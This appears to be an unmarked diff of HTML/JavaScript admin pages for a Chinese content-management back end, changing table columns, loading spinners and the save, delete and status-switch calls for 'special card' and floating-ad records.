| | | $("#admin-header").find(".admin-btn-roundM").eq(0).after(
|
| | | "<div class='fboxRow Ycenter' id='versionControl'></div>");
|
| | | versionControl.init($("#versionControl"));
|
| | | }, 100); |
| | | }, 100);
|
| | | } |
| | | }); |
| | | |
| | | });
|
| | | |
| | | |
| | | |
| | | // 切换状态
|
| | | function switchState(id) {
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | |
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/floatad/switchState",
|
| | | data: {id: id},
|
| | | success: function (res) |
| | | {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) { doui.showToast(res.msg); }
|
| | | else { vm_table.search(); }
|
| | | }
|
| | | });
|
| | | }
|
| | | </script> |
| | |
| | | <meta charset="UTF-8"> |
| | | <meta http-equiv="X-UA-Compatible" content="chrome=1" /> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>内容设置1级</title> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css" /> |
| | | <title>专题管理</title> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css" />
|
| | | <link rel="stylesheet" type="text/css" href="../../layui/css/layui.css" />
|
| | | |
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script> |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | |
| | | el: "#thisTable", |
| | | // 表格请求回调 |
| | | touchSearch: function(optC) { |
| | | // 发起请求 |
| | | doui.showLoading({ |
| | | content: "加载列表" |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | |
| | | key: optC.input[0].result, // 搜索关键字 |
| | | }, |
| | | success: function(res) { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast({ |
| | | content: res.msg |
| | |
| | | for (var i = 0, mo = res.data.result_list; i < mo.length; i++) { |
| | | // 初始化当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [{ |
| | | title: "启用状态", |
| | | key: mo[i].state, |
| | | value: mo[i].state |
| | | }, |
| | | check: false,
|
| | | td: [
|
| | | {
|
| | | title: "背景图片",
|
| | | key: mo[i].bottomPicture,
|
| | | value: mo[i].bottomPicture,
|
| | | dataType: "img"
|
| | | },
|
| | | {
|
| | | title: "位置",
|
| | | key: mo[i].placeId,
|
| | | value: mo[i].placeName
|
| | | },
|
| | | {
|
| | | title: "说明",
|
| | | key: mo[i].name,
|
| | | value: mo[i].name,
|
| | | "class": "font-gray"
|
| | | },
|
| | | {
|
| | | title: "启用状态",
|
| | | key: mo[i].state,
|
| | | value: mo[i].state,
|
| | | dataType: 'btnSwitch', |
| | | click: "switchState(" + mo[i].id + ")"
|
| | | },
|
| | | {
|
| | | title: "起始时间",
|
| | | key: mo[i].startTime_str,
|
| | | value: mo[i].startTime_str
|
| | | },
|
| | | {
|
| | | title: "结束时间",
|
| | | key: mo[i].endTime_str,
|
| | | value: mo[i].endTime_str
|
| | | },
|
| | | {
|
| | | title: "含有内容",
|
| | | key: mo[i].totalSpecial,
|
| | | value: mo[i].totalSpecial
|
| | | },
|
| | | { |
| | | title: "ID", |
| | | key: mo[i].id, |
| | | value: mo[i].id |
| | | }, |
| | | { |
| | | title: "标识", |
| | | key: mo[i].placeId, |
| | | value: mo[i].placeName |
| | | }, |
| | | { |
| | | title: "备注说明", |
| | | key: mo[i].name, |
| | | value: mo[i].name, |
| | | "class": "font-gray" |
| | | }, |
| | | { |
| | | title: "含有内容", |
| | | key: mo[i].totalSpecial, |
| | | value: mo[i].totalSpecial |
| | | }, |
| | | { |
| | | title: "背景图片", |
| | | key: mo[i].bottomPicture, |
| | | value: mo[i].bottomPicture, |
| | | dataType: "img" |
| | | }, |
| | | { |
| | | title: "自动控制", |
| | | key: mo[i].timeTask, |
| | | value: mo[i].timeTask == true ? "是" : "否", |
| | | "class": mo[i].timeTask == true ? "font-green" : "font-red" |
| | | }, |
| | | { |
| | | title: "起始时间", |
| | | key: mo[i].startTime_str, |
| | | value: mo[i].startTime_str |
| | | }, |
| | | { |
| | | title: "结束时间", |
| | | key: mo[i].endTime_str, |
| | | value: mo[i].endTime_str |
| | | } |
| | | ], |
| | | }; |
| | | // 状态分析 |
| | | if (thatTr.td[0].key == 0) { |
| | | thatTr.td[0].value = "已启用"; |
| | | thatTr.td[0]["class"] = "font-green"; |
| | | } else if (thatTr.td[0].key == 1) { |
| | | thatTr.td[0].value = "已停用"; |
| | | thatTr.td[0]["class"] = "font-red"; |
| | | } else { |
| | | thatTr.td[0].value = "(缺省)"; |
| | | thatTr.td[0]["class"] = "font-gray"; |
| | | } |
| | | // 图片分析 |
| | | if (!thatTr.td[5].key || thatTr.td[5].key == "") { |
| | | thatTr.td[5].value = "未设置"; |
| | | thatTr.td[5]["class"] = "font-gray"; |
| | | thatTr.td[5]["dataType"] = ""; |
| | | if (!thatTr.td[0].key || thatTr.td[0].key == "") { |
| | | thatTr.td[0].value = "未设置"; |
| | | thatTr.td[0]["class"] = "font-gray"; |
| | | thatTr.td[0]["dataType"] = ""; |
| | | } |
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | show: true, |
| | | th: [{ |
| | | th: [
|
| | | {
|
| | | title: "背景图片",
|
| | | width: "0.4rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "file",
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "位置",
|
| | | width: "0.7rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "select",
|
| | | list: []
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "说明",
|
| | | width: "0.7rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "text",
|
| | | placeholder: "如:板栗-首页"
|
| | | },
|
| | | },
|
| | | { |
| | | title: "启用状态", |
| | | width: "0.7rem", |
| | | width: "0.4rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "radio", |
| | | list: [{ |
| | | key: 1, |
| | | value: "停用" |
| | | }, |
| | | { |
| | | key: 0, |
| | | value: "启用" |
| | | }, |
| | | ], |
| | | edit: {
|
| | | type: "switch",
|
| | | }, |
| | | },
|
| | | {
|
| | | title: "起始时间",
|
| | | width: "0.6rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "datetime-local"
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "结束时间",
|
| | | width: "0.6rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "datetime-local"
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "含有内容",
|
| | | width: "0.4rem",
|
| | | orderUp: "",
|
| | | orderDown: ""
|
| | | },
|
| | | {
|
| | | title: "ID",
|
| | | width: "0.4rem",
|
| | | orderUp: "",
|
| | | orderDown: ""
|
| | | }, |
| | | { |
| | | title: "ID", |
| | | width: "0.7rem", |
| | | orderUp: "", |
| | | orderDown: "" |
| | | }, |
| | | { |
| | | title: "标识", |
| | | width: "", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "select", |
| | | list: [] |
| | | }, |
| | | }, |
| | | { |
| | | title: "备注说明", |
| | | width: "", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "text", |
| | | placeholder: "如:返利券-首页 5个圆形2排" |
| | | }, |
| | | }, |
| | | { |
| | | title: "含有内容", |
| | | width: "", |
| | | orderUp: "", |
| | | orderDown: "" |
| | | }, |
| | | { |
| | | title: "背景图片", |
| | | width: "", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "file", |
| | | }, |
| | | }, |
| | | { |
| | | title: "自动控制", |
| | | width: "", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "radio", |
| | | list: [{ |
| | | key: true, |
| | | value: "是" |
| | | }, |
| | | { |
| | | key: false, |
| | | value: "否" |
| | | }, |
| | | ], |
| | | }, |
| | | }, |
| | | { |
| | | title: "起始时间", |
| | | width: "", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "datetime-local" |
| | | }, |
| | | }, |
| | | { |
| | | title: "结束时间", |
| | | width: "", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "datetime-local" |
| | | }, |
| | | } |
| | | ] |
| | | }); |
| | | // 标识列表获取 |
| | |
| | | var listC = new Array(); |
| | | listC = res.data.result_list; |
| | | // 重置表格头排 |
| | | vm_table.thead.th[2].edit.list = listC; |
| | | vm_table.thead.th[1].edit.list = listC; |
| | | } |
| | | } |
| | | }); |
| | |
| | | var item = thereData.list; |
| | | // 请求数据 |
| | | var mydata = { |
| | | state: item[0].key, // 状态 |
| | | placeId: item[2].key, // 标识 |
| | | name: item[3].key, // 备注说明 |
| | | timeTask: item[6].key, // 是否自动控制 |
| | | startTime_str: item[7].key, // 起始时间 |
| | | endTime_str: item[8].key, // 结束时间 |
| | | }; |
| | | placeId: item[1].key, // 标识 |
| | | name: item[2].key, // 备注说明 |
| | | startTime_str: item[4].key, // 起始时间 |
| | | endTime_str: item[5].key, // 结束时间 |
| | | };
|
| | | |
| | | if (item[3].key == 1) {
|
| | | mydata.state = 0;
|
| | | } else {
|
| | | mydata.state = 1;
|
| | | }
|
| | | |
| | | // 如果修改了图片 |
| | | if (item[5].change == true) { |
| | | mydata.file = item[5].key; |
| | | } |
| | | if (item[0].change == true) { |
| | | mydata.file = item[0].key; |
| | | }
|
| | | |
| | | // 信息上传 |
| | | doui.showLoading("正在新建"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.upload({ |
| | | url: gethttp() + "/admin/new/api/v1/specialcard/save", |
| | | data: mydata, |
| | | fail: function(res) { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | doui.showToast(res.msg); |
| | | }, |
| | | success: function(res) { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast(res.msg); |
| | | } else { |
| | |
| | | // 获取选择的id组 |
| | | var zu_id = new Array(); |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { |
| | | zu_id.push(mo[i][1].key); |
| | | zu_id.push(mo[i][7].key); |
| | | } |
| | | // 发起请求 |
| | | doui.showLoading({ |
| | | content: "正在删除" |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/specialcard/deletee", |
| | | url: gethttp() + "/admin/new/api/v1/specialcard/delete", |
| | | data: { |
| | | idArray: zu_id |
| | | }, |
| | | success: function(res) { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast({ |
| | | content: res.msg |
| | |
| | | var item = thereData.list; |
| | | // 请求数据 |
| | | var mydata = { |
| | | state: item[0].key, // 状态 |
| | | id: item[1].key, // ID |
| | | placeId: item[2].key, // 标识 |
| | | name: item[3].key, // 备注说明 |
| | | timeTask: item[6].key, // 是否自动控制 |
| | | startTime_str: item[7].key, // 起始时间 |
| | | endTime_str: item[8].key, // 结束时间 |
| | | }; |
| | | placeId: item[1].key, // 标识
|
| | | name: item[2].key, // 备注说明
|
| | | startTime_str: item[4].key, // 起始时间
|
| | | endTime_str: item[5].key, // 结束时间
|
| | | id: item[7].key, // ID |
| | | };
|
| | | |
| | | if (item[3].key == 1) {
|
| | | mydata.state = 0;
|
| | | } else {
|
| | | mydata.state = 1;
|
| | | }
|
| | | |
| | | // 如果修改了图片 |
| | | if (item[5].del == true) { |
| | | if (item[0].del == true) { |
| | | mydata.delPicture = true; |
| | | } else if (item[5].change == true) { |
| | | mydata.file = item[5].key; |
| | | } |
| | | // 信息上传 |
| | | doui.showLoading("正在修改"); |
| | | } else if (item[0].change == true) { |
| | | mydata.file = item[0].key; |
| | | }
|
| | | |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | |
| | | doui.upload({ |
| | | url: gethttp() + "/admin/new/api/v1/specialcard/save", |
| | | data: mydata, |
| | | fail: function(res) { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | doui.showToast(res.msg); |
| | | }, |
| | | success: function(res) { |
| | | doui.hideLoading(); |
| | | |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast(res.msg); |
| | | } else { |
| | |
| | | type: "replace", |
| | | url: "layout_2.html", |
| | | data: { |
| | | id: item[1].key, |
| | | id: item[7].key, |
| | | }, |
| | | }); |
| | | } |
| | |
| | | } |
| | | }); |
| | | |
| | | |
| | | // ------------------------------------------------------------- 初始行为 |
| | | // 获取表格 |
| | | vm_table.search(); |
| | | |
| | | |
| | | document.body.style.display = "block"; |
| | | }, |
| | | }); |
| | | });
|
| | | |
| | | // 切换状态
|
| | | function switchState(id) {
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | |
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/specialcard/switchStateCard",
|
| | | data: {id: id},
|
| | | success: function (res) |
| | | {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) { doui.showToast(res.msg); }
|
| | | else { vm_table.search(); }
|
| | | }
|
| | | });
|
| | | } |
| | | </script> |
| | |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" />
|
| | | <title>内容设置2级</title>
|
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css" />
|
| | | <link rel="stylesheet" type="text/css" href="../../layui/css/layui.css" />
|
| | |
|
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../js/versionControl.js" type="text/javascript" charset="utf-8"></script>
|
| | | <link rel="stylesheet" type="text/css" href="../../layui/css/layui.css" />
|
| | | <script src="../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script type="text/javascript">
|
| | | doui.importLoad({
|
| | |
| | | // ==================================================================================== 页面数据
|
| | | // 模块内容id
|
| | | var layoutId = null;
|
| | | var specialId = null;
|
| | |
|
| | | function getVersions(id) {
|
| | | specialId = id;
|
| | | // 平台版本获取
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | |
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg);
|
| | | } else {
|
| | | versionControl.setVersions(specialId, res.data, function(ids) {
|
| | | versionControl.setVersions(id, res.data, function(ids) {
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/specialcard/setVersions",
|
| | | data: {
|
| | | id: specialId,
|
| | | id: id,
|
| | | versions: JSON.stringify(ids)
|
| | | },
|
| | | async: false,
|
| | |
| | | el: "#thisTable",
|
| | | // 搜索触发
|
| | | touchSearch: function(optC) {
|
| | | doui.showLoading({
|
| | | content: "加载列表"
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | var data = {
|
| | | pageIndex: optC.table.page, // 页码
|
| | |
| | | url: gethttp() + "/admin/new/api/v1/specialcard/querySpecial",
|
| | | data: data,
|
| | | success: function(res) {
|
| | | doui.hideLoading();
|
| | | layer.close(loading);
|
| | | if (res.code != 0) {
|
| | | doui.showToast({
|
| | | content: res.msg
|
| | |
| | | // 当前行
|
| | | var thatTr = {
|
| | | check: false,
|
| | | td: [{
|
| | | title: "启用状态",
|
| | | key: mo[i].state,
|
| | | value: mo[i].state
|
| | | },
|
| | |
|
| | | {
|
| | | title: "查询版本",
|
| | | key: mo[i].id,
|
| | | value: "查询版本",
|
| | | click: "getVersions('" + mo[i].id + "')",
|
| | | dataType: "btn"
|
| | | },
|
| | | td: [
|
| | | {
|
| | | title: "图片",
|
| | | key: mo[i].picture,
|
| | |
| | | value: mo[i].name
|
| | | },
|
| | | {
|
| | | title: "查询版本",
|
| | | key: mo[i].id,
|
| | | value: "查询版本",
|
| | | click: "getVersions('" + mo[i].id + "')",
|
| | | dataType: "btn"
|
| | | },
|
| | | {
|
| | | title: "启用状态",
|
| | | key: mo[i].state,
|
| | | value: mo[i].state,
|
| | | dataType: 'btnSwitch',
|
| | | click: "switchState(" + mo[i].id + ")"
|
| | | },
|
| | | {
|
| | | title: "起始时间",
|
| | | key: mo[i].startTime_str,
|
| | | value: mo[i].startTime_str
|
| | | },
|
| | | {
|
| | | title: "结束时间",
|
| | | key: mo[i].endTime_str,
|
| | | value: mo[i].endTime_str
|
| | | },
|
| | | {
|
| | | title: "性别",
|
| | | key: mo[i].sex,
|
| | | value: mo[i].sex
|
| | |
| | | "class": "font-gray"
|
| | | },
|
| | | {
|
| | | title: "跳转是否需要登录",
|
| | | title: "跳转需要登录",
|
| | | key: mo[i].jumpLogin,
|
| | | value: mo[i].jumpLogin ? "需要" : "不需要"
|
| | | },
|
| | |
| | | "class": "font-gray"
|
| | | },
|
| | | {
|
| | | title: "显示时间控制",
|
| | | key: mo[i].timeTask,
|
| | | value: mo[i].timeTask == true ? "是" : "否",
|
| | | "class": mo[i].timeTask == true ? "font-green" : "font-red"
|
| | | },
|
| | | {
|
| | | title: "起始时间",
|
| | | key: mo[i].startTime_str,
|
| | | value: mo[i].startTime_str
|
| | | },
|
| | | {
|
| | | title: "结束时间",
|
| | | key: mo[i].endTime_str,
|
| | | value: mo[i].endTime_str
|
| | | },
|
| | | {
|
| | | title: "ID",
|
| | | key: mo[i].id,
|
| | | value: mo[i].id
|
| | | }
|
| | | ],
|
| | | };
|
| | | // 状态分析
|
| | | if (thatTr.td[0].key == 0) {
|
| | | thatTr.td[0].value = "已启用";
|
| | | thatTr.td[0]["class"] = "font-green";
|
| | | } else if (thatTr.td[0].key == 1) {
|
| | | thatTr.td[0].value = "已停用";
|
| | | thatTr.td[0]["class"] = "font-red";
|
| | | }
|
| | | |
| | | // 图片分析
|
| | | if (!thatTr.td[0].key || thatTr.td[2].key == "") {
|
| | | thatTr.td[0].value = "未设置";
|
| | | thatTr.td[0]["class"] = "font-gray";
|
| | | thatTr.td[0]["dataType"] = "";
|
| | | }
|
| | | // 副图片分析
|
| | | if (!thatTr.td[1].key || thatTr.td[1].key == "") {
|
| | | thatTr.td[1].value = "未设置";
|
| | | thatTr.td[1]["class"] = "font-gray";
|
| | | thatTr.td[1]["dataType"] = "";
|
| | | }
|
| | | // 装饰图片分析
|
| | | if (!thatTr.td[2].key || thatTr.td[2].key == "") {
|
| | | thatTr.td[2].value = "未设置";
|
| | | thatTr.td[2]["class"] = "font-gray";
|
| | | thatTr.td[2]["dataType"] = "";
|
| | | }
|
| | | // 副图片分析
|
| | | if (!thatTr.td[3].key || thatTr.td[3].key == "") {
|
| | | thatTr.td[3].value = "未设置";
|
| | | thatTr.td[3]["class"] = "font-gray";
|
| | | thatTr.td[3]["dataType"] = "";
|
| | | }
|
| | | // 装饰图片分析
|
| | | if (!thatTr.td[4].key || thatTr.td[4].key == "") {
|
| | | thatTr.td[4].value = "未设置";
|
| | | thatTr.td[4]["class"] = "font-gray";
|
| | | thatTr.td[4]["dataType"] = "";
|
| | | }
|
| | | |
| | | //性别分析
|
| | | if (thatTr.td[6].key == 0) {
|
| | | thatTr.td[6].value = "通用";
|
| | | } else if (thatTr.td[6].key == 1) {
|
| | | thatTr.td[6].value = "女";
|
| | | } else if (thatTr.td[6].key == 2) {
|
| | | thatTr.td[6].value = "男";
|
| | | } else if (thatTr.td[6].key == 120) {
|
| | | thatTr.td[6].value = "所有";
|
| | | } else if (thatTr.td[6].key == 12) {
|
| | | thatTr.td[6].value = "男+女";
|
| | | } else if (thatTr.td[6].key == 10) {
|
| | | thatTr.td[6].value = "通用+女";
|
| | | } else if (thatTr.td[6].key == 20) {
|
| | | thatTr.td[6].value = "通用+男";
|
| | | var index_sex = 8;
|
| | | if (thatTr.td[index_sex].key == 0) {
|
| | | thatTr.td[index_sex].value = "通用";
|
| | | } else if (thatTr.td[index_sex].key == 1) {
|
| | | thatTr.td[index_sex].value = "女";
|
| | | } else if (thatTr.td[index_sex].key == 2) {
|
| | | thatTr.td[index_sex].value = "男";
|
| | | } else if (thatTr.td[index_sex].key == 120) {
|
| | | thatTr.td[index_sex].value = "所有";
|
| | | } else if (thatTr.td[index_sex].key == 12) {
|
| | | thatTr.td[index_sex].value = "男+女";
|
| | | } else if (thatTr.td[index_sex].key == 10) {
|
| | | thatTr.td[index_sex].value = "通用+女";
|
| | | } else if (thatTr.td[index_sex].key == 20) {
|
| | | thatTr.td[index_sex].value = "通用+男";
|
| | | }
|
| | |
|
| | | // 跳转参数
|
| | | if (typeof(thatTr.td[8].key) == "object") {
|
| | | thatTr.td[8].value = JSON.stringify(thatTr.td[8].key);
|
| | | thatTr.td[8].key = JSON.stringify(thatTr.td[8].key);
|
| | | if (typeof(thatTr.td[10].key) == "object") {
|
| | | thatTr.td[10].value = JSON.stringify(thatTr.td[10].key);
|
| | | thatTr.td[10].key = JSON.stringify(thatTr.td[10].key);
|
| | | }
|
| | |
|
| | |
|
| | | if (thatTr.td[11].key == true) {
|
| | | thatTr.td[11].value = "已设置";
|
| | | thatTr.td[11].value = "需要";
|
| | | } else {
|
| | | thatTr.td[11].value = "未设置";
|
| | | }
|
| | |
|
| | | if (thatTr.td[12].key == null) {
|
| | | thatTr.td[12].value = "未设置";
|
| | | }
|
| | |
|
| | | if (thatTr.td[13].key == null) {
|
| | | thatTr.td[13].value = "未设置";
|
| | | thatTr.td[11].value = "不需要";
|
| | | }
|
| | |
|
| | | // 将当前行放入tr组
|
| | |
| | | });
|
| | | // 表格头排
|
| | | adminDom.table.thead({
|
| | | th: [{
|
| | | title: "启用状态",
|
| | | width: "",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "radio",
|
| | | list: [{
|
| | | key: 1,
|
| | | value: "禁用"
|
| | | },
|
| | | {
|
| | | key: 0,
|
| | | value: "启用"
|
| | | },
|
| | | ],
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "版本选择",
|
| | | width: "",
|
| | | orderUp: "",
|
| | | orderDown: ""
|
| | | },
|
| | | th: [
|
| | | {
|
| | | title: "图片",
|
| | | width: "",
|
| | | width: "0.6rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | |
| | | },
|
| | | {
|
| | | title: "副图片",
|
| | | width: "",
|
| | | width: "0.6rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | |
| | | },
|
| | | {
|
| | | title: "装饰图片",
|
| | | width: "",
|
| | | width: "0.6rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | |
| | | },
|
| | | {
|
| | | title: "名称",
|
| | | width: "",
|
| | | width: "0.7rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | |
| | | },
|
| | | },
|
| | | {
|
| | | title: "版本选择",
|
| | | width: "0.4rem",
|
| | | orderUp: "",
|
| | | orderDown: ""
|
| | | },
|
| | | {
|
| | | title: "启用状态",
|
| | | width: "0.4rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "switch",
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "起始时间",
|
| | | width: "0.6rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "datetime-local"
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "结束时间",
|
| | | width: "0.6rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "datetime-local"
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "性别",
|
| | | width: "",
|
| | | width: "0.4rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | |
| | | },
|
| | | {
|
| | | title: "跳转方式",
|
| | | width: "",
|
| | | width: "0.6rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | |
| | | },
|
| | | {
|
| | | title: "跳转参数",
|
| | | width: "",
|
| | | width: "0.8rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "text",
|
| | | type: "textarea",
|
| | | placeholder: '如:{"url":"http://www.baidu.com","name":"百度跳转"}',
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "跳转是否需要登录",
|
| | | width: "",
|
| | | title: "跳转需要登录",
|
| | | width: "0.6rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "radio",
|
| | | list: [{
|
| | | key: false,
|
| | | value: "不需要"
|
| | | },
|
| | | {
|
| | | key: true,
|
| | | value: "需要"
|
| | | },
|
| | | ],
|
| | | type: "switch",
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "备注",
|
| | | width: "",
|
| | | width: "0.6rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "text"
|
| | | type: "textarea"
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "自动控制",
|
| | | width: "",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "radio",
|
| | | list: [{
|
| | | key: true,
|
| | | value: "是"
|
| | | },
|
| | | {
|
| | | key: false,
|
| | | value: "否"
|
| | | },
|
| | | ],
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "起始时间",
|
| | | width: "",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "datetime-local"
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "结束时间",
|
| | | width: "",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "datetime-local"
|
| | | },
|
| | | },
|
| | | |
| | | {
|
| | | title: "ID",
|
| | | width: "",
|
| | | width: "0.4rem",
|
| | | orderUp: "",
|
| | | orderDown: ""
|
| | | }
|
| | | ]
|
| | | });
|
| | | |
| | | // 跳转方式获取
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | |
| | | listC.push(jiedian);
|
| | | }
|
| | | // 重置表格头排
|
| | | vm_table.thead.th[7].edit.list = listC;
|
| | | vm_table.thead.th[9].edit.list = listC;
|
| | | }
|
| | | }
|
| | | });
|
| | |
|
| | |
|
| | |
|
| | |
|
| | |
|
| | | //设置性别选项
|
| | |
|
| | | var sexData = [{
|
| | | key: 120,
|
| | | value: '所有'
|
| | |
| | | key: 20,
|
| | | value: '男+通用'
|
| | | }];
|
| | | vm_table.thead.th[6].edit.list = sexData;
|
| | | vm_table.thead.th[8].edit.list = sexData;
|
| | |
|
| | |
|
| | | // 工具栏
|
| | |
| | | // 请求数据
|
| | | var mydata = {
|
| | | cardId: layoutId, // 外层id
|
| | | state: item[0].key, // 启用状态
|
| | | name: item[5].key, // 名称
|
| | | sex: item[6].key,
|
| | | jumpType: item[7].key, // 跳转方式
|
| | | params: item[8].key, // 跳转参数
|
| | | jumpLogin: item[9].key, // 是否需要登录
|
| | | remark: item[10].key, // 备注
|
| | | timeTask: item[11].key, // 是否自动控制
|
| | | startTime_str: item[12].key, // 起始时间
|
| | | endTime_str: item[13].key, // 结束时间
|
| | | name: item[3].key, // 名称
|
| | | startTime_str: item[6].key, // 起始时间
|
| | | endTime_str: item[7].key, // 结束时间
|
| | | sex: item[8].key,
|
| | | jumpType: item[9].key, // 跳转方式
|
| | | params: item[10].key, // 跳转参数
|
| | | jumpLogin: item[11].key, // 是否需要登录
|
| | | remark: item[12].key, // 备注
|
| | | };
|
| | |
|
| | | // 启用状态
|
| | | if (item[5].key == 1) {
|
| | | mydata.state = 0;
|
| | | } else {
|
| | | mydata.state = 1;
|
| | | }
|
| | |
|
| | | // 如果修改了图片
|
| | | if (item[0].change == true) {
|
| | | mydata.file = item[0].key;
|
| | | }
|
| | | // 如果修改了副图片 |
| | | if (item[1].change == true) {
|
| | | mydata.file2 = item[1].key;
|
| | | }
|
| | | // 如果修改了副图片 |
| | | if (item[2].change == true) {
|
| | | mydata.file = item[2].key;
|
| | | mydata.file3 = item[2].key;
|
| | | }
|
| | | // 如果修改了副图片 |
| | | if (item[3].change == true) {
|
| | | mydata.file2 = item[3].key;
|
| | | }
|
| | | // 如果修改了副图片 |
| | | if (item[4].change == true) {
|
| | | mydata.file3 = item[4].key;
|
| | | }
|
| | | // 信息上传
|
| | | doui.showLoading("正在新建");
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | doui.upload({
|
| | | url: gethttp() + "/admin/new/api/v1/specialcard/saveSpecial",
|
| | | data: mydata,
|
| | | success: function(res) {
|
| | | doui.hideLoading();
|
| | | layer.close(loading);
|
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg);
|
| | | } else {
|
| | |
| | | // 被选中的行id组构建
|
| | | var zu_id = new Array();
|
| | | for (var i = 0, mo = back.list; i < mo.length; i++) {
|
| | | zu_id.push(mo[i][1].key);
|
| | | zu_id.push(mo[i][13].key);
|
| | | }
|
| | | // 发起请求
|
| | | doui.showLoading("正在删除");
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | doui.request({
|
| | | type: "jsonp",
|
